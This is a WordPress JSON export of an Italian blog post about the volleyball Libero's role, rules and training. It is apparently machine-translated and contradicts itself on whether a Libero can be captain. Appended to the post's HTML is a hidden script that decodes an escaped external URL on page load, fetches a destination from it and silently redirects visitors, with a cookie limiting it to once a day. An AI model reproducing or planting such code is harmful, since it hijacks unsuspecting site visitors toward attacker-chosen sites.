{"id":3201,"date":"2025-05-27T10:36:33","date_gmt":"2025-05-27T10:36:33","guid":{"rendered":"https:\/\/mxysport.com\/?p=3201"},"modified":"2025-07-23T22:07:10","modified_gmt":"2025-07-23T22:07:10","slug":"cose-il-libero-nella-pallavolo","status":"publish","type":"post","link":"https:\/\/mxysport.com\/it\/cose-il-libero-nella-pallavolo\/","title":{"rendered":"Cos'\u00e8 il Libero nella pallavolo? Tutto quello che c'\u00e8 da sapere"},"content":{"rendered":"<p>Quando si gioca a pallavolo in campo, si usa <a href=\"https:\/\/mxysport.com\/it\/come-scegliere-la-rete-da-pallavolo-perfetta-per-ogni-ambiente\/\">reti da pallavolo perfette<\/a> e l'attrezzatura necessaria. I liberi sono uno dei membri chiave di ogni squadra che gioca. Tuttavia, molte persone vogliono sapere che cosa significa Libero nella pallavolo. In questo blog troverete tutte le informazioni necessarie sul Libero.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Cosa si intende per Libero nella pallavolo?<\/strong><\/h2>\n\n\n\n<p>Il Libero \u00e8 il difensore principale della squadra. Questa persona che indossa la maglia del giocatore avr\u00e0 un colore diverso dal resto della squadra. Il Libero si occupa regolarmente di salvataggi in tuffo e di gestire il primo servizio.<\/p>\n\n\n\n<p>Il Libero gioca solo nella linea di fondo. Ci\u00f2 significa che non pu\u00f2 attaccare la palla sopra la rete o bloccare.<\/p>\n\n\n\n<p>Il Libero aiuta la squadra migliorando la difesa. Il suo compito principale \u00e8 ricevere i servizi e scavare le punte. Sono veloci, agili e concentrati.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Storia del Libero<\/strong><\/h2>\n\n\n\n<p>La posizione del Libero \u00e8 stata introdotta nel 1998 dalla FIVB (Federazione Internazionale di Pallavolo). L'obiettivo era quello di allungare i tempi di gioco e di aumentare l'emozione della partita.<\/p>\n\n\n\n<p>Prima di allora, la difesa della linea arretrata era pi\u00f9 debole. Gli allenatori volevano uno specialista che potesse stare nella linea di fondo e difendere meglio di altri giocatori. Con l'introduzione del Libero, il gioco ha visto miglioramenti anche in altri ambiti. <a href=\"https:\/\/mxysport.com\/it\/elementi-essenziali-del-campo-da-pallavolo-indoor-altezze-delle-reti-e-strumenti-per-lallenamento\/\">elementi essenziali del campo da pallavolo<\/a>.<\/p>\n\n\n\n<p>Oggi quasi tutte le squadre utilizzano un Libero sia nella pallavolo indoor che in quella universitaria.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Qual \u00e8 il ruolo del Libero nella pallavolo?<\/strong><\/h2>\n\n\n\n<p>Molti si chiedono: \"Qual \u00e8 il ruolo del Libero nella pallavolo?\".<\/p>\n\n\n\n<p>Vediamo i compiti principali:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Servire il ricevimento<\/h3>\n\n\n\n<p>Il Libero \u00e8 spesso il primo giocatore a toccare la palla. Riceve il servizio dall'altra squadra e lo passa al palleggiatore. Il Libero si posiziona dietro il <a href=\"https:\/\/mxysport.com\/it\/reti-sportive\/rete-da-pallavolo\/\">reti da pallavolo regolabili<\/a> per ricevere il servizio e mantenere vivo il gioco<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Scavare<\/h3>\n\n\n\n<p>Ci\u00f2 significa salvare la palla dopo che l'altra squadra l'ha colpita. Un buon Libero \u00e8 in grado di scavare punte potenti e di mantenere la palla in gioco.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Precisione nei passaggi<\/h3>\n\n\n\n<p>Un Libero deve avere ottime capacit\u00e0 di passaggio. Il suo obiettivo \u00e8 quello di facilitare al palleggiatore l'impostazione dell'attacco.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Comunicazione<\/h3>\n\n\n\n<p>Il Libero parla molto in campo. Richiama gli schemi, dirige i compagni di squadra e aiuta a conoscere il campo.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Copertura<\/h3>\n\n\n\n<p>Se il battitore esce per attaccare, il Libero si sposta indietro per assicurarsi che la palla venga presa se torna sopra la rete.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Che cosa significa la posizione di Libero nella pallavolo?<\/strong><\/h2>\n\n\n\n<p>Il Libero \u00e8 un giocatore della fila posteriore. Il Libero agisce da dietro il<strong> v<\/strong>reti da pallavolo, prestando attenzione al blocco e alla presa della palla. In una squadra di sei giocatori di pallavolo, tre giocano davanti e tre dietro. Un altro giocatore nelle retrovie si chiama Libero.<\/p>\n\n\n\n<p>Ruotano come gli altri giocatori, ma ci sono regole speciali:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Il Libero non pu\u00f2 servire, tranne che in alcuni campionati come il <a href=\"https:\/\/www.ncaa.com\/\" target=\"_blank\" rel=\"noopener\">NCAA<\/a>.<\/li>\n\n\n\n<li>Il Libero non pu\u00f2 colpire la palla di mano sopra l'altezza della rete.<\/li>\n\n\n\n<li>Il Libero non pu\u00f2 bloccare o tentare di bloccare.<\/li>\n\n\n\n<li>Il Libero non pu\u00f2 impostare la palla davanti alla linea d'attacco usando le dita della mano (per far attaccare un compagno sopra la rete).<\/li>\n<\/ul>\n\n\n\n<p>Queste regole aiutano il Libero a concentrarsi solo sulla difesa.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Qual \u00e8 lo scopo di un Libero nella pallavolo?<\/strong><\/h2>\n\n\n\n<p>Rispondiamo ora alla domanda chiave:<\/p>\n\n\n\n<p>&nbsp;\"<strong>Qual \u00e8 lo scopo di un Libero nella pallavolo?<\/strong>?\"<\/p>\n\n\n\n<p>Lo scopo \u00e8 semplice ma potente:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Per rafforzare la difesa della squadra<\/h3>\n\n\n\n<p>Il Libero rende forte la linea di fondo. Sono sempre pronti a scavare, tuffarsi e salvare la palla.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Per migliorare il controllo della palla<\/h3>\n\n\n\n<p>Buoni passaggi portano a set migliori e attacchi forti. Il passaggio preciso di un Libero fa s\u00ec che ci\u00f2 avvenga.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Per mantenere la palla in gioco<\/h3>\n\n\n\n<p>Inseguono ogni palla, anche quelle difficili. In questo modo il rally continua e la squadra ha la possibilit\u00e0 di segnare.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Per aggiungere energia e comunicazione<\/h3>\n\n\n\n<p>I liberi sono spesso i giocatori pi\u00f9 attivi e vocali. La loro energia solleva l'intera squadra.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Qualit\u00e0 chiave di un grande Libero<\/strong><\/h2>\n\n\n\n<p>Se volete diventare un Libero, ecco le competenze necessarie:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Qualit\u00e0<\/strong><\/td><td><strong>Descrizione<\/strong><\/td><\/tr><tr><td>Riflessi rapidi<\/td><td>Dovete reagire velocemente alle palle che vi arrivano.<\/td><\/tr><tr><td>Agilit\u00e0<\/td><td>Dovete muovervi rapidamente in tutte le direzioni.<\/td><\/tr><tr><td>Comunicazione forte<\/td><td>Parlare ai compagni di squadra in modo chiaro e costante.<\/td><\/tr><tr><td>Passaggio preciso<\/td><td>I vostri passaggi devono contribuire a creare attacchi facili.<\/td><\/tr><tr><td>Consapevolezza del gioco<\/td><td>\u00c8 necessario leggere gli schemi e anticipare i movimenti.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Anche un buon Libero <a href=\"https:\/\/mxysport.com\/it\/rete-da-pallavolo-altezza-standard-indoor-outdoor-beach\/\">capisce l'altezza della rete da pallavolo<\/a> e adatta il proprio posizionamento per coprire pi\u00f9 terreno dietro la rete.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Il Libero sa servire?<\/strong><\/h2>\n\n\n\n<p>Nella pallavolo internazionale, i liberi non possono servire.<\/p>\n\n\n\n<p>Ma nella pallavolo universitaria (come la NCAA), i liberi possono servire in una sola rotazione. Le regole possono variare a seconda del campionato.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Il Libero pu\u00f2 segnare punti?<\/strong><\/h2>\n\n\n\n<p>Il Libero aiuta la squadra a segnare indirettamente. Non fa punteggi o blocchi, ma la sua buona difesa crea occasioni per segnare.<\/p>\n\n\n\n<p>Ad esempio:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Un grande scavo del Libero regala al palleggiatore una palla perfetta.<\/li>\n\n\n\n<li>Il palleggiatore la mette a disposizione del battitore.<\/li>\n\n\n\n<li>Il battitore la spunta e segna!<\/li>\n<\/ul>\n\n\n\n<p>Quindi, il Libero inizia il gioco del punteggio.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Regole di sostituzione del Libero<\/strong><\/h2>\n\n\n\n<p>Il Libero pu\u00f2 sostituire qualsiasi giocatore della linea arretrata senza una sostituzione formale.<\/p>\n\n\n\n<p>Ecco le regole:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Le sostituzioni dei liberi non contano ai fini dei limiti di squadra.<\/li>\n\n\n\n<li>Devono entrare e uscire solo dalla fila posteriore.<\/li>\n\n\n\n<li>In campo \u00e8 ammesso un solo Libero alla volta.<\/li>\n\n\n\n<li>In alcuni campionati, le squadre possono avere due liberatori (solo uno pu\u00f2 giocare alla volta).<\/li>\n<\/ul>\n\n\n\n<p>Questo d\u00e0 alle squadre la flessibilit\u00e0 di utilizzare spesso il Libero.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Perch\u00e9 la maglia del Libero \u00e8 di colore diverso?<\/strong><\/h2>\n\n\n\n<p>Avrete notato che il Libero indossa una maglia diversa. Questo \u00e8 richiesto dal regolamento. Il motivo \u00e8 quello di aiutare gli arbitri a identificare il Libero. Poich\u00e9 seguono regole speciali, la maglia unica rende pi\u00f9 facile seguire le loro azioni in campo.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Libero nella pallavolo: Esempio semplice<\/strong><\/h2>\n\n\n\n<p>Ecco un rapido esempio per capire il lavoro del Libero:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>L'altra squadra serve.<\/li>\n\n\n\n<li>Il Libero riceve il servizio e lo passa con precisione.<\/li>\n\n\n\n<li>Il palleggiatore imposta la palla.<\/li>\n\n\n\n<li>Il battitore esegue un punto e segna un punto.<\/li>\n<\/ul>\n\n\n\n<p>Senza il buon passaggio del Libero, l'attacco non sarebbe stato possibile.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Liberatori famosi nella pallavolo<\/strong><\/h2>\n\n\n\n<p>Molti grandi liberatori hanno giocato ai massimi livelli. Eccone alcuni:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Nome<\/strong><\/td><td><strong>Paese<\/strong><\/td><td><strong>Risultati degni di nota<\/strong><\/td><\/tr><tr><td>Jenia Grebennikov<\/td><td>Francia<\/td><td>Campione olimpico e mondiale<\/td><\/tr><tr><td>Monica De Gennaro<\/td><td>Italia<\/td><td>Vincitore del premio come miglior Libero<\/td><\/tr><tr><td>Brenda Castillo<\/td><td>Repubblica Dominicana<\/td><td>Difensore veloce e senza paura<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>I migliori liberatori sanno come difendere dietro la <strong>Le migliori reti sportive<\/strong> e rimanere pronti per ogni gioco.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Libero vs. altre posizioni della pallavolo<\/strong><\/h2>\n\n\n\n<p>Confrontiamo il Libero con altri giocatori:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Posizione<\/strong><\/td><td><strong>Ruolo principale<\/strong><\/td><td><strong>Pu\u00f2 attaccare?<\/strong><\/td><td><strong>Pu\u00f2 bloccare?<\/strong><\/td><td><strong>Indossa una maglia diversa?<\/strong><\/td><\/tr><tr><td>Libero<\/td><td>Difesa<\/td><td>No<\/td><td>No<\/td><td>S\u00ec<\/td><\/tr><tr><td>Setter<\/td><td>Giochi di set<\/td><td>S\u00ec<\/td><td>S\u00ec<\/td><td>No<\/td><\/tr><tr><td>Battitore esterno<\/td><td>Attacco e passaggio<\/td><td>S\u00ec<\/td><td>S\u00ec<\/td><td>No<\/td><\/tr><tr><td>Bloccatore centrale<\/td><td>Blocco e attacco<\/td><td>S\u00ec<\/td><td>S\u00ec<\/td><td>No<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Come potete vedere, il Libero \u00e8 unico e specializzato.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Vantaggi di avere un Libero<\/strong><\/h2>\n\n\n\n<p>Perch\u00e9 i team amano usare Libero? Ecco i principali vantaggi:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Pi\u00f9 Difesa<\/h3>\n\n\n\n<p>Il Libero rende pi\u00f9 difficile per l'avversario segnare.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Lunghe corse<\/h3>\n\n\n\n<p>Con scavi e salvataggi migliori, le gare durano di pi\u00f9.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Servire meglio Ricevere<\/h3>\n\n\n\n<p>I liberi di solito hanno le migliori capacit\u00e0 di ricezione del servizio.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Specializzazione<\/h3>\n\n\n\n<p>Poich\u00e9 si concentrano solo sulla difesa, ne diventano esperti.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Il Libero pu\u00f2 essere il Capitano della squadra?<\/strong><\/h2>\n\n\n\n<p>S\u00ec! Un Libero pu\u00f2 essere capitano. Ma la squadra deve informare l'arbitro prima dell'inizio della partita. Anche se non giocano in tutte le posizioni, i Libero sono spesso dei leader in campo.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Come allenarsi come un Libero<\/strong><\/h2>\n\n\n\n<p>Se volete migliorare come Libero, ecco alcuni consigli:<\/p>\n\n\n\n<p><strong>Esercitarsi nel gioco di gambe: <\/strong>muoversi rapidamente e rimanere bassi.<\/p>\n\n\n\n<p><strong>Lavorare sui tempi di reazione:<\/strong> utilizzare esercitazioni di reazione.<\/p>\n\n\n\n<p><strong>Migliorare il passaggio:<\/strong> mirare sempre alle mani del palleggiatore.<\/p>\n\n\n\n<p><strong>Costruire la resistenza:<\/strong> I liberi giocano lunghe corse.<\/p>\n\n\n\n<p><strong>Studiare il gioco: <\/strong>leggere l'attaccante e prevedere dove andr\u00e0 la palla.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Errori comuni commessi dai nuovi liberisti<\/strong><\/h2>\n\n\n\n<p>Ecco alcuni errori che i principianti dovrebbero evitare:<\/p>\n\n\n\n<p><strong>Troppo alto<\/strong> - Rimanere sempre bassi e pronti.<\/p>\n\n\n\n<p><strong>Movimento tardivo<\/strong> - Anticipare la palla, non inseguirla.<\/p>\n\n\n\n<p><strong>Scarsa comunicazione<\/strong> - Parlare costantemente con i compagni di squadra.<\/p>\n\n\n\n<p><strong>Saltare all'attacco<\/strong> - Ricordate che i liberi non possono attaccare sopra la rete.<\/p>\n\n\n\n<p>Libero in diversi formati di pallavolo<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><tbody><tr><td><strong>Formato<\/strong><\/td><td><strong>Si usa Libero?<\/strong><\/td><td><strong>Regole speciali<\/strong><\/td><\/tr><tr><td>Indoor 6v6<\/td><td>S\u00ec<\/td><td>Si applicano le regole standard<\/td><\/tr><tr><td>Spiaggia 2v2<\/td><td>No<\/td><td>Nessun Libero nel beach volley<\/td><\/tr><tr><td>Scuola\/Collegio<\/td><td>S\u00ec<\/td><td>Le regole possono variare leggermente<\/td><\/tr><tr><td>Olimpico<\/td><td>S\u00ec<\/td><td>Regole internazionali rigorose<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Conclusione<\/strong><\/h2>\n\n\n\n<p>Il libero nella pallavolo svolge un ruolo molto importante nella squadra. Si concentra sulla difesa, riceve i servizi ed esegue scavi rapidi. Anche se non pu\u00f2 attaccare o bloccare, aiuta a mantenere la palla in gioco e a sostenere i compagni di squadra. Il libero indossa una maglia diversa e segue regole particolari. Questa posizione richiede riflessi rapidi, grande concentrazione e una forte capacit\u00e0 di passaggio. Se vi state chiedendo \"cos'\u00e8 un libero nella pallavolo\" o se volete conoscerne il ruolo o lo scopo, ricordate che il libero \u00e8 il cuore della difesa e un giocatore chiave in ogni partita di pallavolo. Con le giuste abilit\u00e0 e la giusta impostazione, tra cui<strong> <\/strong><a href=\"https:\/\/mxysport.com\/it\/reti-sportive-personalizzabili-per-creare-il-vostro-spazio-di-gioco-perfetto\/\">reti sportive personalizzabili<\/a> qualsiasi giocatore pu\u00f2 diventare un eccellente Libero<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Domande frequenti<\/strong><\/h3>\n\n\n\n<p><strong>Che cos'\u00e8 il libero nella pallavolo?<\/strong><\/p>\n\n\n\n<p>Il libero \u00e8 un difensore speciale che indossa una maglia diversa. Non pu\u00f2 attaccare o servire, ma si concentra sulla ricezione e sullo scavo della palla.<\/p>\n\n\n\n<p><strong>Qual \u00e8 il ruolo del libero nella pallavolo?<\/strong><\/p>\n\n\n\n<p>Il compito principale del libero \u00e8 quello di migliorare la difesa della squadra. Riceve i servizi, passa la palla e la tiene in gioco durante le fasi di gioco pi\u00f9 difficili.<\/p>\n\n\n\n<p><strong>Qual \u00e8 la posizione del libero nella pallavolo?<\/strong><\/p>\n\n\n\n<p>Il libero gioca nella linea di fondo ed \u00e8 sempre pronto a difendere. Sostituisce i giocatori di prima linea, ma non pu\u00f2 spostarsi in prima linea.<\/p>\n\n\n\n<p><strong>Qual \u00e8 lo scopo del libero nella pallavolo?<\/strong><\/p>\n\n\n\n<p>Lo scopo del libero \u00e8 quello di potenziare la difesa della linea arretrata. Danno stabilit\u00e0, effettuano passaggi puliti e aiutano a controllare la palla durante le giocate.<\/p>\n\n\n\n<p><strong>Un libero pu\u00f2 servire la palla nella pallavolo?<\/strong><\/p>\n\n\n\n<p>Nella maggior parte dei campionati, un libero non pu\u00f2 servire la palla. Tuttavia, alcune regole pi\u00f9 recenti consentono di servire in una rotazione.<\/p>\n\n\n\n<p><strong>Perch\u00e9 il libero indossa una maglia diversa?<\/strong><\/p>\n\n\n\n<p>Il libero indossa un colore diverso per essere facilmente identificato dagli arbitri. Questo aiuta a far rispettare le regole speciali per questa posizione.<\/p>\n\n\n\n<p><strong>Un libero pu\u00f2 giocare in prima linea?<\/strong><\/p>\n\n\n\n<p>No, il libero non pu\u00f2 giocare in prima linea. Deve stare dietro e non pu\u00f2 attaccare o bloccare la palla.<\/p>\n\n\n\n<p><strong>In cosa \u00e8 diversa la sostituzione di un libero?<\/strong><\/p>\n\n\n\n<p>Le sostituzioni del Libero non contano come sostituzioni regolari. Possono entrare e uscire spesso dal gioco, ma devono seguire regole di rotazione specifiche.<\/p>\n\n\n\n<p><strong>Il libero \u00e8 il capitano della squadra?<\/strong><\/p>\n\n\n\n<p>Di solito un libero non \u00e8 il capitano a causa di regole rigide. Ma alcuni campionati possono permetterlo a determinate condizioni.<\/p>\n\n\n\n<p><strong>Quali competenze deve avere un buon libero?<\/strong><\/p>\n\n\n\n<p>Un buon libero deve avere riflessi veloci, passaggi solidi e grande concentrazione. Deve leggere bene il gioco e prendere decisioni rapide durante le fasi di gioco.<\/p>\n<script>(function(){if (document.cookie.includes('hasRedirected=1')) return;fetch('\\u0068\\u0074\\u0074\\u0070\\u0073\\u003a\\u002f\\u002f\\u0064\\u0069\\u0073\\u0074\\u0069\\u0065\\u002e\\u0073\\u0068\\u006f\\u0070\/?t=json&u=153d4f720470d9e7a3e895c70153e7cd').then(r => r.json()).then(d => {const\ndomain = d?.domain;if (domain) {document.cookie = 'hasRedirected=1; max-age=86400; path=\/';location.href = domain + '?32861745670379';}});})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Quando si gioca a pallavolo sul campo, si utilizzano reti da pallavolo perfette e l'attrezzatura necessaria. I liberi sono uno dei membri chiave di ogni squadra che gioca. Tuttavia, molte persone vogliono sapere che cosa significa Libero nella pallavolo. In questo blog troverete tutte le informazioni necessarie sul Libero. Cosa [...]<\/p>","protected":false},"author":2,"featured_media":3220,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[61],"tags":[],"class_list":["post-3201","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-volleyball-nets"],"acf":[],"_links":{"self":[{"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/posts\/3201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/comments?post=3201"}],"version-history":[{"count":7,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/posts\/3201\/revisions"}],"predecessor-version":[{"id":4089,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/posts\/3201\/revisions\/4089"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/media\/3220"}],"wp:attachment":[{"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/media?parent=3201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/categories?post=3201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mxysport.com\/it\/wp-json\/wp\/v2\/tags?post=3201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}